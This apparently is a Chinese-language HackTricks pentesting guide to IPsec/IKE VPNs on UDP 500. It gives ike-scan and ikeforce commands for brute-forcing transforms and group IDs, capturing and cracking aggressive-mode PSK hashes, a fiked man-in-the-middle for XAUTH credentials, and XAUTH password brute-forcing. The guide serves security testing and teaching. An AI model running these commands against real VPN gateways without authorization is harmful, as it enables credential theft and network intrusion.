hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

261 lines
17 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

# 500/udp - IPsec/IKE VPN 渗透测试
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks 云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 你在一家**网络安全公司**工作吗?想要在 HackTricks 上**宣传你的公司**吗?或者你想要**获取最新版本的 PEASS 或下载 PDF 格式的 HackTricks**?请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[**NFTs**](https://opensea.io/collection/the-peass-family)收藏品——[**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方 PEASS & HackTricks 商品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord 群组**](https://discord.gg/hRep4RUj7f) 或 [**telegram 群组**](https://t.me/peass),或者**关注**我在**Twitter**上的[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks 仓库**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud 仓库**](https://github.com/carlospolop/hacktricks-cloud) **提交 PR 来分享你的黑客技巧。**
</details>
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder 跟踪你的攻击面,运行主动威胁扫描,发现整个技术栈中的问题,从 API 到 Web 应用和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
***
## 基本信息
IPsec 是用于网关到网关LAN 到 LAN和主机到网关远程访问企业 VPN 解决方案的最常用技术。
**IKE 是 ISAKMP 的一种类型**Internet Security Association Key Management Protocol实现它是一种用于身份验证和密钥交换的框架。IKE 通过三个阶段的过程在两个端点之间建立安全关联SA
* **第 1 阶段:**使用预共享密钥PSK或证书在 2 个端点之间建立安全通道。它可以使用主模式3 对消息)或**主动模式**。
* **第 1.5 阶段:**这是可选的,称为扩展认证阶段,用于对尝试连接的用户进行身份验证(用户+密码)。
* **第 2 阶段:**使用 ESP 和 AH 协商数据安全的参数。它可以使用与第 1 阶段不同的算法完全前向保密PFS
**默认端口:**500/udp
## 使用 nmap 发现服务
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **寻找有效的转换**
IPSec配置只能准备接受一个或几个转换。一个转换是一组值的组合。**每个转换**包含一些属性如DES或3DES作为**加密算法**SHA或MD5作为**完整性算法**,预共享密钥作为**身份验证类型**Diffie-Hellman 1或2作为密钥**分发算法**以及28800秒作为**生命周期**。
因此,你首先要做的是**找到一个有效的转换**,这样服务器才会与你通信。为此,你可以使用工具**ike-scan**。默认情况下ike-scan在主模式下工作并向网关发送一个带有ISAKMP头和一个包含**八个转换**的提议的数据包。
根据响应,你可以获取有关终端的一些信息:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
正如您在上一条回复中所看到的,有一个名为**AUTH**的字段,其值为**PSK**。这意味着VPN是使用预共享密钥进行配置的对于渗透测试人员来说这非常好
**最后一行的值也非常重要:**
* _返回0个握手返回0个通知_ 这意味着目标不是一个IPsec网关。
* _**返回1个握手返回0个通知**_ 这意味着目标已配置为IPsec并愿意执行IKE协商并且您提出的一个或多个变换是可接受的输出中将显示一个有效的变换
* _返回0个握手返回1个通知_ 当**没有一个变换是可接受的**时VPN网关会响应一个通知消息尽管一些网关不会这样做在这种情况下应尝试进一步分析和修改提议
因此,在这种情况下,我们已经有了一个有效的变换,但如果您处于第三种情况,则需要**稍微进行暴力破解以找到一个有效的变换:**
首先,您需要创建所有可能的变换:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
然后使用ike-scan对每个进行暴力破解这可能需要几分钟
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
如果暴力破解没有成功,可能服务器即使对有效的转换也没有进行握手响应。那么,你可以尝试使用侵略模式进行相同的暴力破解:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
希望**有效的转换被回显**。\
您可以尝试使用[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py)进行**相同的攻击**。\
您还可以尝试使用[**ikeforce**](https://github.com/SpiderLabs/ikeforce)来暴力破解转换:
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (109).png>)
在**DH Group: 14 = 2048-bit MODP**和**15 = 3072-bit**中\
**2 = HMAC-SHA = SHA1在这种情况下。--trans格式为$Enc$Hash$Auth$DH**
Cisco建议特别避免使用DH组1和2。论文的作者描述了如何通过离散对数预计算来解密使用弱组协商的IPsec会话这很可能是国家可以做到的。通过实时解密使用弱组1,024位或更小的任何会话数亿美元的预计算成本得到了摊销。
### 服务器指纹识别
然后您可以使用ike-scan尝试**发现设备的供应商**。该工具发送一个初始提议并停止重放。然后,它将**分析**从服务器接收到的消息与匹配的响应模式之间的**时间差异**渗透测试人员可以成功识别VPN网关供应商。此外一些VPN服务器将使用带有IKE的可选**供应商IDVID负载**。
**如果需要,指定有效的转换**(使用--trans
如果IKE发现供应商是谁它将打印出来
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
这也可以使用nmap脚本_**ike-version**_来实现。
## 查找正确的ID组名
为了能够捕获哈希值您需要一个支持主动模式和正确ID组名的有效转换。您可能不知道有效的组名因此您需要进行暴力破解。\
为此我建议您使用2种方法
### 使用ike-scan进行ID暴力破解
首先尝试使用虚假的ID发出请求尝试收集哈希值"-P"
```bash
ike-scan -P -M -A -n fakeID <IP>
```
如果**没有返回哈希值**,那么可能这种暴力破解方法会起作用。**如果返回了某个哈希值这意味着将返回一个伪造的哈希值用于伪造的ID因此这种方法不可靠**来暴力破解ID。例如可能会返回一个伪造的哈希值在现代版本中会发生这种情况
![](<../.gitbook/assets/image (110).png>)
但是如果如我所说没有返回哈希值那么你应该尝试使用ike-scan来暴力破解常见的组名。
这个脚本**将尝试暴力破解可能的ID**并返回返回有效握手的ID这将是一个有效的组名
如果你发现了特定的转换请在ike-scan命令中添加它。如果你发现了多个转换请随意添加一个新的循环来尝试它们你应该尝试它们所有直到其中一个正常工作为止
你可以使用[ikeforce的字典](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic)或[seclists中的字典](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt)来暴力破解常见的组名:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
或者使用这个字典(是两个字典的组合,没有重复的内容):
{% file src="../.gitbook/assets/vpnIDs.txt" %}
### 使用Iker进行ID暴力破解
[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) 也使用 **ike-scan** 来暴力破解可能的组名。它遵循自己的方法根据ike-scan的输出来找到一个有效的ID。
### 使用ikeforce进行ID暴力破解
[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) 是一个可以用来暴力破解ID的工具。该工具将尝试利用不同的漏洞来区分有效ID和非有效ID可能会有误报和误判这就是为什么我更喜欢使用ike-scan方法
默认情况下ikeforce会在开始时发送一些随机的ID来检查服务器的行为并确定要使用的策略。
* 第一种方法是通过搜索Cisco系统的Dead Peer Detection DPD信息只有在组名正确时服务器才会回复该信息来暴力破解组名。
* 第二种可用的方法是检查每次尝试发送的响应数量因为有时在使用正确的ID时会发送更多的数据包。
* 第三种方法是在对不正确的ID进行响应时搜索"INVALID-ID-INFORMATION"。
* 最后如果服务器对检查没有任何回复ikeforce将尝试暴力破解服务器并检查当发送正确的ID时服务器是否会回复一些数据包。\
显然暴力破解ID的目标是在获得有效的ID后获取PSK。然后使用ID和PSK将需要暴力破解XAUTH如果启用
如果您发现了特定的转换请将其添加到ikeforce命令中。如果您发现了多个转换请随意添加一个新的循环来尝试它们您应该尝试它们所有直到其中一个正常工作为止
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```
```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### 嗅探ID
通过嗅探VPN客户端和服务器之间的连接也可以获取有效的用户名因为第一个激进模式数据包中包含的客户端ID是明文发送的来自书籍《网络安全评估了解您的网络》
![](<../.gitbook/assets/image (111).png>)
## 捕获和破解哈希值
最后,如果您找到了一个**有效的转换**和**组名**,并且**允许激进模式**,那么您可以非常容易地获取可破解的哈希值:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
哈希值将保存在 _hash.txt_ 文件中。
您可以使用 **psk-crack**、**john**(使用 [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py))和 **hashcat** 来 **破解**该哈希值:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**
大多数实现使用**预共享密钥的主动模式IKE进行组认证**,并使用**XAUTH提供额外的用户认证**通过Microsoft Active Directory、RADIUS或类似方式。在**IKEv2**中,**EAP替代XAUTH**用于认证用户。
### 本地网络中间人攻击以捕获凭据
因此您可以使用_fiked_捕获登录数据并查看是否存在默认用户名您需要将IKE流量重定向到`fiked`以进行嗅探可以借助ARP欺骗来完成[更多信息](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)。Fiked将充当VPN终端点并捕获XAuth凭据
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
此外使用IPSec尝试进行中间人攻击并阻止所有流量到端口500如果无法建立IPSec隧道可能会以明文形式发送流量。
### 使用ikeforce暴力破解XAUTH用户名和密码
要暴力破解**XAUTH**(当您知道有效的组名**id**和**psk**时),您可以使用用户名或用户名列表以及密码列表:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
这样ikeforce将尝试使用每个用户名:密码组合进行连接。
如果找到一个或多个有效的转换方式,就像之前的步骤一样使用它们。
## 使用IPSEC VPN进行身份验证
在Kali中使用**VPNC**建立IPsec隧道。**配置文件**必须位于_**/etc/vpnc/**_中您可以使用工具_**vpnc**_来调用它们。\
以下示例摘自书籍**Network Security Assessment 3rd Edition**
```
root@kali:~# cat > /etc/vpnc/vpntest.conf << STOP
IPSec gateway 10.0.0.250
IPSec ID vpntest
IPSec secret groupsecret123
IKE Authmode psk
Xauth username chris
Xauth password tiffers1
STOP
root@kali:~# vpnc vpntest
VPNC started in background (pid: 6980)...
root@kali:~# ifconfig tun0
```
## 参考资料
* [PSK破解论文](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [扫描VPN实现](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
## Shodan
* `port:500 IKE`
<figure><img src="broken-reference" alt=""><figcaption></figcaption></figure>
找到最重要的漏洞以便更快地修复它们。Intruder跟踪您的攻击面运行主动威胁扫描发现整个技术堆栈中的问题从API到Web应用程序和云系统。[**立即免费试用**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks)。
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks云 ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
* 您在**网络安全公司**工作吗您想在HackTricks中看到您的**公司广告**吗或者您想获得最新版本的PEASS或下载PDF格式的HackTricks吗请查看[**订阅计划**](https://github.com/sponsors/carlospolop)
* 发现我们的独家[NFT收藏品**The PEASS Family**](https://opensea.io/collection/the-peass-family)
* 获取[**官方PEASS和HackTricks周边产品**](https://peass.creator-spring.com)
* **加入**[**💬**](https://emojipedia.org/speech-balloon/) [**Discord群组**](https://discord.gg/hRep4RUj7f)或[**电报群组**](https://t.me/peass)或在**Twitter**上**关注**我[**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**。**
* **通过向**[**hacktricks repo**](https://github.com/carlospolop/hacktricks) **和**[**hacktricks-cloud repo**](https://github.com/carlospolop/hacktricks-cloud) **提交PR来分享您的黑客技巧。**
</details>